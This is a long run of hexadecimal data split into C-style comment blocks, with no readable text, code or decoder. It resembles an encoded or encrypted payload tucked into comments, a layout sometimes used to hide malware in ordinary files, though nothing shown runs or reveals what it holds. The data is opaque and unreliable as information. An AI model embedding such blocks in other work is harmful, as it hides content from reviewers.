3407ba6c4d17cb7c03ba8e6c68c8f599add2742348ac06c4d9bdce25235e89109d0174479d903c112f86976ecd7d0bd34e0d05d7b75a9ec60c1d5c676743172c90029e6675ad82c603bf78e14beb1532bc4f69ada986aeea8f77a689824c72d5fbf064ebe04f078fad445b2f1fa1c4d076e86a53725f8499a56ec103f537e308495d51f7a42bc9d5dc6401ec0b3c4d87ee5c9eb3377ecdae55b1ff5b04df5172ed3f854451a909421a0fad29ab6df146c92cc2ed1c7a1f91ac0c73f31700a212ae092937d1d32de74cb767ec12eb21c705e24a6cf412903d550ecac1d5571c0a0407f092e6eee9b82ecff1a5a5111882b89c516c2ad34e3de07f3a52ed1064c70aff006976f23b98935edf367d4c6990f892e4dfd2be8fecae2472d18ed561f5a9cbc6ca5b2efca4aeaedf597a3947dce3fe492d1f456e4a9e0814be6d03d8dd9add76e70e35156d4fb688a78342730712156520e4689492d963fd97b9f17588ba053c96ebc0bf0f199007859a871c279a97e8e27066f8983a0ea324957fa65e7126d9d11a35b6f855626e77d99841257cfc4f3d508b0876d0604bce0c586f821925a04ed3a491fcbb30efa8ae888d4a5f22565e9d03cd7f1975cb64e89c817ccd56a1f809526329ec0c5dfc1a749f891ee7a7eafe9a309a514537d024247b8d7d7dc8f10a27deb1b08c74afd8d0b33b680e2cbcb200ae81b8d854ed648608f553ef218bb8342abb9543b4ab299ca2cb0f14757e01a9ce409abacd5924b19e0ac0ad533be3f0f27bf6bfe4bd6c74dcacc8a24afafbf06b7a81512e258dcc72e1d52feb9133d7dcd2684ee24766c46d929eb8666349b07a4d07408b13ecdf452e9bd6820de484cebd2abccb7b9937268c5024f6f81d14eea23b6534d3175d8dcfc0f58bfbacf0438d8ba0570a2e89ad93e01c06251c08dcfc467984942610b100f87ef71cbaba4cbbb29e69f3680d12bfa152cdec9dcca5987987f23a73fd16d9bfc8b3da404ed2b99ea3a5989ac2df4b7c020907187a034e83315402367c8a9231f41766b65d4b2aa9b0a6ad3184b11678596b5b7638ae54838280c02d9004d4c9f83eb725c40f191f939e1ec1a4847c89239d3702f7680fc512a834441a42498abeba43640aa579ea08389f6d48130edee3382bd810f6bed97ddb1865db4fe99da8085674520fb8304b60a0eff17ec9dd0208fafb0cdd6e5*/
/*2b456e757b30302640e7d728c3f7daa8fff0b404894f310bcf419ea6f91445bf2204297a9668d802c2637cb1216fc2c47abef76709212de75652b70641049d27dce738db3ee5c85fdb2bbb3c1b6516d8e11bf6711636429e1ec23c57e8dbcecb60dd1b8425a65f9c222a57e8f6374546a75731b51d6c9e6f895de21c5c76085ecf9d00ee01548f05c8841937b14af0b25db4cc6cea02fe2b7d6b278bd7b813f9b0ceefa59ba0fc7c6c32d912e712b60113eaa92c1d219827c6c8449d445a16f70c26ab222c078c86f80eee9fc35fae373cc4c1d55d16d12ee8f5b5e62e4b8088d329e811434cacbe74d28c94b0cee0e2632e89fd09b9fa9369b587d47fcf89935e2e3965ed7af7d0d8cb979ff65efc1d65ce9945333d265a5771e801d9fd2a690889c2521f25236aff812d911ffdddf44da8050ec47f4a8f24789f9d537b765fc7da3fbe44cca6b6d0ff631a54f0785b3b45b640926790a932f721257c2f89edb6fc2b58aafa2b472481d926b737314a87f6e8e819b9bf9ccd3854470590097a7902107240bace0a500de80eb48886cf5953d53f8e4688ca0bdea6909a60901cec1c638b7e14ccd6a0b5fcc1492d0c9643728d92a818dee0978a380e020066c4dd5868eb5ec08dc85ec94a705cc81ddc9b655baeb5a3dd9c5573b87e36e41dadb652848de2169df00a35e23c28c397e0ef6a6375c2352fea0f8100ca96509851ecaa591f8f05d9ea26f69fac4e7f02e4c61f3b9e71f719a20895e9d01b80c19925b2ddfd069cca5b854b671e2a056920356ab726c7c0132ee037a5139b08c1329da7c2c89410b0af3c9167c2b446e59959209c8a6a56b2f657c7a83d3f5a7f4c188c5dbc99b3424b29018239e8ed4b513477283df422b2d6ab8b4b81cf84350e0602834d4d8ade234edf32998d202a7e9e3d46867979c47eda847fd43e4cf6c9d3a3cba06b11b07427cb8593c8d844c6387777cc64c26dde300278bdc01bf442fcc6a585b0c068ee9ec72be1112c5491b5eec28f2be3bf2affde8eeb9ff2dfb17bcbe5bb357b08c5c7b079e5b2aa2baa927946283ba922d7ce67658e37637d45c524e51aaac867b0cf6b91af4531398c6e9f94ddd64bc9a43db972e6ed80d3ecfc8f90e5fc26669e25b9cbc6841b7d12e3799d4a93e6f3daa75f9c94fbd99317b3b8250b03b61f754037b72962d7691eb95c299c7804f6cfbad5549e716f908a8c35a6ee28960836be883d8665481924d4a7b9a223f31591cf857929fdb446cf8b69b3cb3227136878991d5e8d6599158404bf3b221e83e8d8e71f1689bf3e165b215d7a73c84537ba128f5fa219fd982b1101ced07998e604e3d5848c9d6cfbd3c648b08a00798e847a5a2b081ef930319ab1b4002e0b68708d79e8788bfcc6db96bb2bcce4b3cbe16826f245331940d3695293702a57519769ab032edb11572f3a4bd7ae4ce3e88990b64be16695f2e4b2b989a6c256fc4d98bb05b17336f6c5241f452b0be37b9fb526547c2b10fe32335fca7f50966f998e6b371ea73aa0e1f85beb162c412de3eecec840479f16b64b7fe5ae5eb67242a3440a81e7ccc8d23f2447403d7e3ef32883c2d6bbab7d3d4e86a36b5ae65d3bfa01eaa4dfb5588bcd7a37e2319c50ae6293999d9b8d12201309127841b925125121fd804a020bfa3ffdce58c878ac62a529e8dbd03bd11220ad7a2f63d2e22fc2a0225f69e79c78d67f27677d1df1d58506936b4a07f3b422655282b4141fa41959c32dfed2c814343d29f70c6dbedb4bd4a629d66ffb89c351d7362dc6e336508c3b06598964676734a07dc376e2be1ca92d177e1a617b1bbdfccb7caee72c006c49890e4ec8361e7ed168dfae9b95d85dfda35329112c8d0883d449f6542f5e98d577395ba5065cd07cc6966f09e7d23dc43659f0a55c5b3665ed0b9e13c7564e5d4fa9105416320ee8808184ec641b9e2d73cfb65ab0b968869d1678143234fd3cb5163637cf188302203ebd10f44d4971abd41e1363a9872856619dc8929f758ea6d2d870ec5d36bea4aabb720aa95a8b265b4b42a9ccf2d85ab489607af7a0ed04527822619468e95dc9447fe0391b91359b459ef169c681d3d387221aac1b47e51d387df6d55b8a5e03947afa496869e077e3e88e3fc7deef6a056ac42dad0c2de144e7406e259d78e655d9db2534f2601deec8ee3e1bde9329a9f90fbed9ece58cf86c24b4635f8c77233fe03a29a3eaebfd053088c13a46ae0c9bb925a9530357d6aad59b6cdc31b3f1a17db2de1e3d8e86fd09d39b76707be15d0fce70d8901be31cb48e195b72a45aa115c3287ee0b12cd7bebcf862ef55e4c779f803cf3f175790b0c8fbd99ff58863308a5c585834812d6c3bb64a86b960e467f6a1d8a2ab9920b65369c220c4984accf6af3e04b578b845eac9a23994693136c98780906414cfd800630735d55f0960abbbf44bbee336125228413fc5acf151dfb43e14e2d014dae47204b18480e5b7df27e8bdef472b43a43240035c1ca3c409b5130aee872f3381b716831c0e1f1dec3c166acb1cc9d85423f79e080ba750464c8d79848cb29b3991e541fd8ded1916b445ab7d72b5c875c7aff74aa1c7e1df32606a6e06460136360f78ae97cffadae771b08becdd89495f8d44e15168d2309f4aacddf1ed7155176ff1b90f0ded9b640ac6c2ef51050a8227cf643406bc464163275490ac5f8b6027fb21b3ead942b416775ede0cc08cae29a2ebb246ddea85161b5b496d3e3bbe3688d2b26dbdd3080f604348b3fbde093e29f4361feaaaeed778e6ea6909b93f91997254e04da1c50341a9db19*/
/*06d47fe6c2c33543e56685d28311b4498efee34744ab8f6c51cc3b1118dd5faac557ff7437c5c71274d3a319cc79fbd37ea67d64d3830c807d57ecac19247793a86f424a19797ccb6a4aebd791d99985390416cfb42b5789482df4a23dda50c59975e9939b94c06f1fe81a820933c5290fd54dcffcd9161fdb1a10ede4810ae7032d52efb7960d81c227a6ec100cb01fff867153515568cd001a2071fb3de8ebf5ecb07147600ef89b3f4fb6265c37a5e0b235685bbb920f6d2c506d64bc1893128d0bbba62d8cff400035e44bc236a7d6bdc03fc738f32750aaa82ba560cc71cb8c91d88574d6780cc8a2305f248e153c767cf2aa464ac0f94ef011efb75d1f50149f842a19509737f0b1d2ff53cc4008e15c72ebb3b682d20abae98551668fb1909da225a89ea7ed1abc2a896a00db263a45f1e469111f40c2ca360fcc34b2ce6ae3125ea2e6bd3abaa5716cbc58e7e71041af21ba24125f9ba09625a9da1d18291af3d822d9c5425467653fb1a1fd42521fc50fea8fea6f87bceffbd33232294ef25c30bb2d2e3f67efc1057a97c519957db9d2a37750dd29df0db1e35a315cb82a325c54835b3153d90903bd6accd8be55232676749e2421fc8a3ee16be21e53f5d53d21f74c290e7cc04a67245bbe078f2e5905693a70cd75434077ffbfcb1c1ef26a06ca2c8ff605c9d0ddcc57aae84c0743a5d2faf79df8298d4bd2c2f0ca271b4df6893ef0b932ac2c3d335f82d77cf83c013d28013a7256f0f43a8fee869fbc9f18ef65f5f7bc1cc8c1214f05a73fb2b0149825012aac4d85f26af0000c2bb825565022016ef14e44ffaa1cc6cfa7cc1f55fc0b7c38bd87f70997deb1ae5a358bca4dfdad0005d0326fe00c30fb04bcbfc46e2121ef52a5b44d3f0a24b13108eecd113814046f1c59a0ee0c7dec1459b582bf65223498c3a8c45cad5eb86d8ec0c1fca573830e948b9f96ad3ce9dc2c468916353893087f3781c090eb97ac275eceb7467e6deb71afd14d8e84e3fe6fa0210bae424161e206ea39d98a0f80e341a1994ec4a0f0083146818a2c562909c513612ff73abe5057cd3911850bdcaef13c6a85e3c38c4dd185b56152a825a457a0a69fbc4f493d50198d061cc98f5716fecb2f755da44f879303dcbd7955da23c7a5d79f490fb3bc5d8fc5d824898992c67c974f52b3c50179cffab4d9612ba20e776f226c36a4ac1293f137f4247aaa1000102688753daab75ff1c65d65ff688f1a00cb2598b3d39ddcf8a05890f981d1b366e4a39beb9305bfc52d2e4ac4441dcc0c216d613060b4f52e4c56e6877fe1c640696a7ee4ee910ccc5a0c89df7be9719443f2a5e91b8f5c904144dce95ca87c4e1ce30e009b7762b0d984dc8789f44048d75e9a9dd5141c8af5aeb67688b617119b7a63696f434040059fdc20ce5d1ec3312a43ea118ca84d4281d21c31fcb4cc83cc4c25aea51037880ccb4f867e751ab9cc645888c2989e90f4533c9bb654417c3d5cafc51b4412ae9181952fea5eeb42333cbe75cc100784492528180aa1a77fe5be07f2e885a025e4c8e5972cabfe6515859a60fd52f7277ba6b5ccf67af894448d69d913b17a396d8c26f2fc215c704b2e150f691e241a4fe060ca1c74f855b86176f12d61a7c9007200a41cd6197630cf730174797558b312e3b644e99d75fef22c2b6d4c9967e838e261215a1995eaddada31a42c60f2c3767cfcbbc4f3a6c2ae138436182304ec812733f20d359f8f195344ae4dd0d1e2cae69dc36dd25133650f5e41520043d931750b565983746a0d273a68562185b04ff35618e6d35a22b4cccd035736b334fb05eb07f9df9fb2a4de54e362959e26e776bde5d0dbb46690bd454b5613e61261728adb4a36608a6d17b18f0cfa77cf6a55dda73b4583b40f80867097a04c7e884f4aee9218201612a7cdcadc972ad57d98d3b6fe03fc7f11a6f355bdb68a19c950dfc54aaab5d137155b163832f882cbfca5f20350b319163d78af1b6bcb0fa0dff2984f0311ba8746a8c32f5e7639b3cdea49a5df287033f66daf261cd455029032caf870990f7f0384aa8fed5c5caaf3f6d1a0b4e61a635261b1e4e933b8cbf503f90f4109c931dcec5be4060890fa934907850ba729ef4a4c6aeacf8139e7af93c865160c5d384b24c0781043a6a4cc53a8692a7aa993357d75ca2bc8d9928f8a30b8085f478d96f9c770555aaed221594f8e3d5a2a47595b54e39c04e53057f237277293fe112b7bed2dd72bbb07cf3f6f4e2a574ea5f577241c47d5c23a707bde8776e7d2bd79820acaed41ea86c5cc2f8260f26566a71145e535dfb25877532b261c94ca882105e7be26ac35db446d9bba5e88a862685065bce3946e82d331e8765eabf230fd687aee0d949d4c4ba5de8b7236b37a1d96b61f28f9b6d81b417721eec27dfd544885b2596132c35a0993f80d0b7cb447b8bacf41c8233279fd5bbca3ad8265e4f5fc65376e7457b4c99990753b426f9094b299f9e416974f49ac2364a72143fd505b61977ece8c94a3904da667fc7f8cb556a42a1a1a1fbe72e6206880839200b3189c3cdd41ee234089b7c9e42190c68abfea7fb3c0b3b4e1710c95ae3815749b30cb20fb09e36b7ad4d93b17fc357d77e9ba4c9aa2760eaa10167a78579bcbe2cd47e32fff3f8c15b28fa2b7eebf8dcf104d6e35cf5268ce4a7edf30df80025bdf9dcb4a20fb4fb224d895999f48e8c5040580b62775bb20c3619616e556149cc25fc79a6565d9a1fe2b621fa9e944bbdcc9ff30a697b4956e3a28951dd362cb2bf8f7edf06296ce8338eb7ca36a3d355b88a*/
/*66e7d686b44af8c83cf8bf9ce79c788c65213d9c227b16ccde1b9e29208781404ff2b73b4fe39d43cfc8e4621cd319480b46b6f22cff2e3dd4e5ea5bed3797afb1134758e4cc79b1609c022dece02f6791879336fe1232d27ed0d6ed91cab295dc746c39628a172b5b4cdef829c2be8d1b826930097302249f7e625e3b2c495b4dee89f730d7e95625137b80051ebb6a39cf3467c358a377354ba696bfa84ecc7132fa13760db61ed8d3da52d84c67e979d42347d5b6576b5b10e00aac83ee2f95e144cab563ba0f1b99609e47a66555ad84ebb3832502821ccec8fca60cc262b7a4a9f5694c91c3055b374866f5dc58398d03a405e24794ff1697ab11862a3f2827dde58ad4f52c8b45708ff44190e990ce9d0d932f43eac4060d90884974864f7147d012a43d5541bfa2d797a60fd4d65c083c06454a20736bf88c2fd42eea03ac3f6183e37d4c343b8af8732b41dd14974d92cfcbe23b4e4dff7f242be751244800eaca9bb9f4ed95979bbb34316daf10d91193a44aa597f6874986bc4458f64802a948b2b1baa4beced8fe51ac8c41bf38e496eb4a25a6b0c5ab209de989a500946e55e6cb7a4a8f6a2642067d63f48d181091b380a2dbb14effcd6d21fd4c5056620f44f7a58c941dc9abda61c1a0f252233dd9609b2b4ceaecc29dfdbb8858b08e083502d9d5d539d27656174fccf85d63cc3ca70c8e48c67eb029dd81c7233620736d1e21619067a6408615e5e8474d8cb27a9a328cf8dcb71a5d0ca8387a7bb9857d2927c5544ca01b860f7971b2aaa3aa3a88952b1d41a8abe44f3e1f39f94f9493bc8647485c94490bed3485e71f1a44d11b44b4f3cf4dd1e726fd3b8d23f449bbc71e37cc2ce25fa5eb3e73518aa3a363f353ac672af1d850074f6919a2d9a68026728d56bf90be384dab675a03bbc9eaf70d223932ddd3479a77677284a9661baef3358343ec49a4371496d7edf5df11ca25dc28a0a1c5fa9da6543850e59978f926f8ee536924833cea27fb29688e872c25174ab201cfe306f3392986197b9a67b853d8576c87d5b227fa91aa3c132a5e56bdffc420abb6ffa70e8e81730344c8a4557feb179e5d0f3e7ffd96e0cfc1190627e5c6ba2d3a56be15c7052fab3f00c89ef5e83c30e5e725ab6de08f81e349b7d4007171ca71c93bc398e0080036461cd3c7f2caa52084b05fbc743e35a6e4a9fd05c565e6491021a6844e543cfec5174bf11918cd00ecb898eb1d198f10027c6b254af28bda783e12f597fd8de59e3d02c16a15fa14e4018558a582db4a0a384002a7e1eddff4b07927cf5e966c9602d95fa78055b186b7a4183e39a293756d67c38ba75dceaf7afcb8e2248d43ad7151b5656d42f332dfe377f8e9231a29596f4f62e26bf4b2d2ba8bf7c8a9c7e813b55b941a8fd45ed4fbe798debc7e9a160733f253adeafb0ba2691a5a803526a7722da39eadc119cb1453a7ef8e481f754bbe4e0a389bee8ad76a15223690a34f196c5dbdd3b65b94dec2204b0254ac3a12ad8e99fdfe28b34ed7be74682dfb68b3ae3ef6b783a432e6970f61e980264572e8e0097de2f93fbeb3cdd7985cb4ddf1e1343150a5394ee159fde201605688b7126290c972199b63472a83d94cc2c049ac85a94f3e39f466b4fda93ad11d886702671e1a9c61b8d1ad0ebbee2161bf8214a65b9fca916455c81d7afe0c0f5e9b97d9f905c4e8c32a72fc66925227a6942d58b6686a197d7e3204939aec6fbbb7d55bf043e6b91ee1eae519b9a9f01997b328203cae96b3b1457f5f12e21068fde87bdeef2ead87d23c693433a77f8473fdbe5f941524fb942f7150dd900b04fd93e677753f3a14f10777d2b3d263018489b96758a2c3de499a2146c916f4857ac65b4b4e62d327b1546b746f72be946c0beaafae488388ef0de881373a7a426132e5a11e81c4e92f5237cf1cc82b368bd19b9a7f4d499f545a114180e9cff38294a94a132045e8c4034f31062e9e330fb1e6cb9195b352be3b01b35faf06a35a98288d9eed076b345370e1ce0dc963145d270d4f2692c6fd39147680ea7fc43d57c4577e69e4792d1252d1b8038294810778c0af96c16c2edb53ac8c6ae5bc7ce278c1935a2b6fb2b8e40d8690c87b84f14bed1d311281add18df7e9c29534dabd1b97ac340f839328d8a92c82b364cb76fed48fc21a2cb5ed576f5af9b18b0ab66b4ad95688255ae2ba4322923b92abf0b1a8a650a4501687b7f381989e205ca70c6b39bd286892dc5b9778c172d4536636bc0997ada63477dec3fe4092732de11f8bde08a3167058dcc33fca905a0824a69cbee253324dd2e6997d66e70c7c7f798c169056f8499c1fcc8bac1d9e6038be0ec17fd4d04165f4afcb3e8882fcf3974f832ce3ff6645e2f9e8ea91bde4afb5cb488f7e8766ff146b04ceb6651f9c780b45f2a04b53de7b0c211f1b7f2146f33a767376eb087baeb35e2f94feccd2d3bf1836b44725f492f7a2fa3c61d29a38731efadcb261c91af29b2fd5e787274b0d626dd512de7fae378e899a0a30d18ebe54f3e629d0cf1616d3bc6b6bf2fcca8331beff12ebf81c31d0ca31351321e24660379572a6315a433b9e62ed5c8a329b5bbb14ce73a997aed620c8786781cea1723eef2558b6ae9d976e25a32395163a1f24b21bed0a135812f8c26db30071cbf43d420bd3fca005925b7adca1dbf0c15847a09d0a05f6dbea7cdc39e23b77426796d69c7a57e4db1c00d4260732ef7be206f96a8206007d389a7956656fc4e4234cb391ad9850f6691eca95d66fbff065ec226236454192a4e38f2cee70da6f07931349*/
/*3bc2b1101714f625f32ee9efaaac164f97685b4168e0687e159ff9eb8c29ea13bc10ad46af6c33d86b6c9d8cb60af9c112f61980d98024d076cb2ea70ac6337fdc1bd184cc9af57e8182dcf93148e3b90cab50233e1d0ae70f571dd05b112362c66369a5f78ec4153c0803492843b8578c88d9d912b262ffa55592be0c065da10f35dfef06c523a548737a19b8c944ad6e655f2a505fcfb4589c98a908df19961aadb1bae49b9ffc48d1f27eed8c3094fff696bb52d38cc8ecde9b759c15850334f1b7cf9e4e6209bd71400e9274cc76d73caeae3c66f3a7a97802dc148c259a51334b8be411e05409c885c009471ec04ff8cbf4f2ff6b43aab2355959fee30de58025e82fef455177c72bb91c22cd4fb48c2befeb4a8b304632675184b5adf6cc231fbf22e6e9f018f3a5b3c806b9a569d8892774f1ebe7c7f79f1ac741c7e847fb2c6edee1f867564b06d7a498e905a76ec30549df80e2db04210a4fb174bce2cd03cbd2ba4b8efaeb0501c0649c9b4e1034d8ddd736948860a3e5de8007cb73ba2b01be1944a4c2ae62f9bc133dbeee7cf365c7ad91d539e9a7b8f5ab14a98973f1b719e0b987474805587650c3ae257ebcc6fe319ff0682e7d5ee232337b8d91d5c7137064264ca080203ce9c874c7391e733578a2c33f4065a1b85a4327b5e05d2ecc9f8fc875d78ccdf0982b89ca531082a4a6f658c63c9664cf5df1146d31ba9bbc9488479c112dacc44f29a82f9ab18e49be0039e8549bc1c48edcbebec4eff5f229d2f82a9d1159859a2610932b71f6cbfba2eef0760356f26230a3db624e5eda9069406afcc8eb11b22050b168640b8b217cb5d4ef297493d7ac93626f7120e09f9ca0cd208daa4cf9ff3731ce30af35d69c15d4ad575200e1b1fff41d3b6fb39cbca340f262c22947e81b333ee63f0088fa825f3e89d2e6ef6002723ea3215fc670711573b795ab66fcb0212b71346bd5f1f2da4b5b1458643ef9cc063c03308f23ecd2d966d1d0beb2357fcc65d99ef1855050a790923dd8681f0ad58f1d3c727aea4fd29b4c93923c2d5a0fa3934b09f44bd6beafd8f75a7dd7fa10ceb181edb7ac44c445f6d3cc7143c03289a7fc45ddb0cf1419af3b5981ba6892d5709ce3961685204aa72bf3efa5f17c8bbd650940ffc0104c307c57421bad86981531cd18c7e7baeed76a548c5d2b510041a2e9fd795b908b8b2702b9e728694eff8115a85f24632c37bad2d2ed6e214554b3b5cbe712182c3e0bb4c1b6cc70bdef7b5a7a968959b75a27c2df6a04f0435eb06ff33755523fa627e29f5acf8a535aaac715ab95df6481b7ca327ce8a903876249f6bfae04e41cab451bd139d7fb2a36192f43c3bbce7bad1a695ac747f699d24e9ed890b8be0dcd017ee8be25595eed8480e635e3e655c0c7f60ef4af11d3ef63553e63160750f7e6d3f1e7b687ad9678173f5a635f5722b6dd6533b81b66270aeb283e26f75edeadc9e5900631e9c37c79ffdbc9df4a0505c25a317eba71cb3756e590f20ddaab92770ac7093898556bbf0d5619ccd6385eb8c6b3edcbc872bcf312211dce2f557fb9b19dd2ac3eb64d1fc17cfeea040fb9f8403b2dda1f294bd75c8384ca1d914538de0f8ef0faa11b740ca9aa153ab3796c1707a046501b8c0ba2ce63718bb2e4e504c8157c9d8f7d159f287e9bcfec254a2c1bee5713ed209e2d716d3a855598f9e2f8da86a1c967aa47b84f4450495715e839b019c7385a855961cb7b7a26ddeda09ea032d50589714cba665bda6953da63fe7a0ebe7848c23392d90c6eeb979f05a19213f343108731702a65e917bb8639389fd55f8999fdde0540947969ac5640388724aa0dbb331c1d5141e1f810161bd939e9d615813c0360fb2adc23eda7b5718a55e526d45ebedd6dd39799cc4135855630976d6bad7519f8f781c42189a5033e82a8102969b6041806ff6d2cf0d0d26c7be8a3ddae837269b1c259802cb8ff909e4e51107266f976d25a71c69efcd8f4828a57c7f6936eaf95bcebc048ca4962fdfe9995779f9978f2abcacb4a25fc3015f1d3cd9e859a8995297598eeb4047ac1a0f71a087fb31570294cf2611e97cd29b33d80dc5b7ce33e42db4b4ff1bae702ae18782abb6636ff903f36df880e17783532724d21b0d6123e43b691158ed9eb033d13c22068311f8ea18b15b1ce4bac68a4e68e14759b83193c0aeb7d41d65200475b13ef1a049a198e3cf89e3375ffefbc7f01d46a4dc15105cc0dc97011a35f6001478675e68362a83d02d41d3c6ce546042d951936059034c57347f56a68f8fc5300f5a56291d32006623e99fa1603cf390610579950a8db09c77b3d5a9c23274c93bc649c4b7f5df0d9be4cc1f3abf0c56c618f004204566ec623408fe7408bc464a355eeb432dcab8efb24ec47f4d1d7875e4be9e4e5adaffcdf366a76b77814a42b5d672272792bd561983256c5cee43255f2459243d75a0e3d8956aa1434184f4f66fb0b4d88212f46855b1b2359369e56cea10ef5d9b54ee0be580b3637f071299f671d453a7cef0f120edd276a6c0abbb00bd165f83898d097ad3adae777830494cf8f1c1e1116dbd6ef3466373efceeecf03b98cf97a740e5c1fac04c52ef4592c09a29b56714a90dacf86c9573e97ad4a3ea5757d256696a2cfec9d66f3abbcc22e1d58d9ff843a68b4809d1415af440e76c1c44869880b035068ee933885de675c868503edd69202324db455205a07e3025d8f3e117187bd11168914637fd54a7c61dc6520651ff90984daca7d86700448c5edeb8c895c1c87798423d5f252458e7c84d920a3d*/
/*16caff136369ac2689d122671c6a28162e77d1e7ef1870455cea784d4e159f10aa68f44b4dafff5966ccd89aa76cf35a44bb1d7da40c58ff80562366212eaa1112439da39b727b7009d2713085cfd146386dec654e3a5d5b52738e7472f5b9977d10a7e2d389849e1b6e01ed0036658cb67f8dc0216abb122d3c0e1954675f8fabda739f7b94bee9e55a64fc93887f751f54e38f750293ccce2ebe0febadc443c8165722bc8ff0f86292ac0af532779eb7525e73b88db3a22d21a60e0b917d807bba57419a769e3ca3810d8f5e81a2a1b40cec705305a3386401ee1b7b793b71ace4d36bd215e6aca5f37137994a2f64b5763f729812b1b2bce51765df5d641f9566bbf1ee4e316f0d6ddd05a75fa37a0ee97ccf9c508ced1cb2c6c3ee14148cbf6f99efe89c279e1975ca0af5fcd20ec1a4d0ad8ddd45d86bf0434d1500ee33317037d6cd217e22b34ced90f39dee0c4c4a8adeed5f64cee4e8297beb57b00a8e4bb8884bc7bfebe10e248399a72d308bc0c30f8a22b99e9c690e330aa02b267538d70b2b36d82ddc2b66702af4f7f774ec0b646ac39037aaf1b66b958c02188163bb92bca80d80beed8846d66824e30fff7f00eb50b8b02f29d1cb525415721dfad3efd279efbfcc630a81bfa28bbf9d4364a921f10a1fefa6128087b0aa9c4f946846c372e3ea05f84cd7a6e73a1f7b50af5affba09416602fd7d4d63c30335741fd6cef0b9c967a7f381224ec5b16747087827a25ae06b94c11e90ac267736644ec2bc70ce6a253d10962bacfb18d7096158d4076bcd75841921816ec0f0c8aa438edec25e6eafe14c9dd48059424e740808f65590ccff22c608d470805bbad3507c4cf8d02f0c010aed3ac09dae62d8cd7ddeec9c93eb4bb60d2d2a059392f9b9052e75f7c98e3c0be2be1a637c47f5f51cb1f50f4350638ab80caec1d535db15b73169803e83261bcdd94fa1d7d60626771419cb968904d359d7988577cc0288a6fce2123a65c2e07f6171e820e50a0738438fa56b3b847da82f93342d806d967f6bc19dca6a530e6986e88bd8cd8fd4ee25937a80434f8af96b4cb7fa435e113952d207e6555e646e726f2170e0f90d2196f2635368caf891d1c624a45552a9804af9ebde7a2e570a8d1483684ea23044fe217032eb06e1d08f3a9e6d40009cb81672ed5fb6d48c1dc2a11c721d684fab40f08a956a17b763c9cb00bad7b6c17e6ccd66a78e90bb4f94582f5b41cf473ecd4112a481b767e96df1677cf9418408ba4bc98f5b6b5bc7b91bf28c698f324ca551e949963c4118d1d185f530ee077ff4a0ce11773036a0777e04b65dbebe6627d9ed02a1d8a79a19303ebbf22cfef54951250738c0d9131e3a7dc49ecc4844fbb4000da3624f1c4654ebb59189586fb7d11cb3ee52c7a8226bde1a97f4641e1db48074ba5d0e394ffc1d77bb8eabe4bbb32422245cb02ee1e37662521ccff0080ae77211866462f0621516fb9b70bc30ed248274558bff4b2dbe63fa7e34d9e2b65e66b93f1484a1d64a390b1bd09c88a0be913bc8bd425c69cd32baa263e0ac295d92fb56c15eac1bc95881806ae468b0b062235506d3ce740a2c73dcc527470a3896ac1011a8f7c4dced65ac60e61ceaa87cc3d4dfffb1dc8aad1015518cbc83ca8a2dea5397322cd021f626427eeb8ce078fddbf991f7d92221ef5453f6b544627ad4cf01a77ca277ad4866e5bc02d66157cf321fd950ce4d559d6f9d9fc8397e9da0514925652a718bbe04bb9c2cbea608550ba5a4d03f4bc079784f31e184fcc103d06702728001415f92344d6d57c3dfc6e90d35002b9e50fe4feae6f02cf0cbb345ddb698532139768fe2c12291c7cdf324097bf021e09f64af50c5c1223d3567757b1e40ed444d34817cf62422d81917f454e28e214bb4d31a7269cd5a31150104f4dc9d0d4d2eaaa8cd89208c15dc3cf67f4cc32061a89fa0f2843040716d14c74943ac7d8ead2b70828fd4210fa6e57143f65a6f4062b6d0cfa57fbad01aba9e5084cbf90eb0a95e70dc4c95b1da9193490899adc284245070198a77848db972190ce80e5e8fefe1e73e9d0aa969b8300cfb9981c632bcafccfd2f065da1649275d09a35010e84b91aec071152b72e6a0cfda6e2fe7fdcc1d5bd80eb5a167e6b2730336c01b57813516b8c2aeb2aa0bf33cb3697c1b720d3be76f6c001d4159d3232e6448d68f1263de8e25ac1cfae1d8bcbb9eea61dfd491fa57d18c7339866a4c7326ceb79fe32d0477d5dca7f9edda57e750941d4e9da50836d627dd6ae259cbc5d954fe888e12520dbe07314c855fdf880ba5674902b63e951a3c9ffa3d7e9d649b248c2fe947a8f7be6ae9fc400e68481d0fff161c7fc2f0d48fb395bb43f711e515bfed917ff2cd586e4bbe8dbe4574edd027e2d921c232da839a4cb08f7f80a88bd14f0800a7478c1c21d417c43406cf0f43a41835a6f9e1903fa070b90db72d334cf69d29837ed7c50ad84c237b02adaae77e783ea5bc724e1c63fb94a88d2d83e6e782ed8b0f3a1b50650f39e673e1594a6593d48afe8184aa31529f816613d472dfc7dc9b5c8368acd59bb01d59bd52a2670a76b8306348f01b756c1c2ac94614555271f49e5b0266f302f394124a0d450cc23472db1e8cdd6909e8444a6dc55f20b20c17933470c615be86424d12a5b970634e6ba8c3d79342408eb9a7e12d4ffbb39f26c82c38a48b5646e759b702b815f2ff913eba98dc72a613cf11996b9089c0e53a6ae4dfad575fb46bf7bc97807152ce1227449813cedee844f23c231a8bb7cebed577ebd463445f871e8eb4372*/
/*bc18daa0b13dc1807185af4fc0e7a57311287828921c7cb5e972c188a0e8dd5f59f1f6bf06a41fc1ef79592f9684097ad3214fb6d47745251b19be169edac5484f92ce3eb74a81c5bd983c4d3e07122fbb99bcb3f6a1ec83522d8db9385489c2cf3f46fa0ca362796022db1a398f3504659e6832afd28d7e1bc1ecaf7e30294f9d454521b98a4359cbcc7796e593774c78343f369b3363334ef882fd97c6e12414827fa5d0b54163b40774348ef34ba05b58707931f8dee194c9dd5039e82516c1b372341700a584b70bb3e6765b7d7d7e714a0fe9590c8c53d3306c7a5478809ec5e992c7ce8fc7f08d81814e3df3e2e2d526bf21522b599b279b8e9c423e819e5b4ad3d6349b9ec459745a97be82d3d18dda37ea97cdfbc6bdbcbf18e1e6cde2a50667ef756c4b0ac77d33863679d340e2f9a9f018d71e41408f640817f0ad532b0be4f4a90d51b9f373dc3714e86f88f30c9cfd39d5ec8cdbe3ee46e2a436a1197f7987b0170caa91db4be97affc3d012ff7f3a1a537e65307dba4e4fb0c9613021f2ee1ae8ed5c8f465fde40cb0f3bcd580e257ce2117fcd2cb7957b5ea08371333c774f44cf7d75a67a67a0ffb7002f14d7ca9defb9a66969b6162a4b12e4acfe07c401b5d0aaa350e4dda4988728168cf96928613dd0ea9b18b0108230db0cb4e9f1d4daa91f8980acb530851286bb39d03e2fc80710829e911e7f705cc74eb8600d0795d7d9cb3e451ed6e05f676492962e889b0aa4a382453dc3d5f03313992d37699c7ae67c3f93dcef7dcaa1887654d6b133304db42e950205783d911c7cae9a3dadfa30fcc3aa23376064f4c4a520220711567309dd21a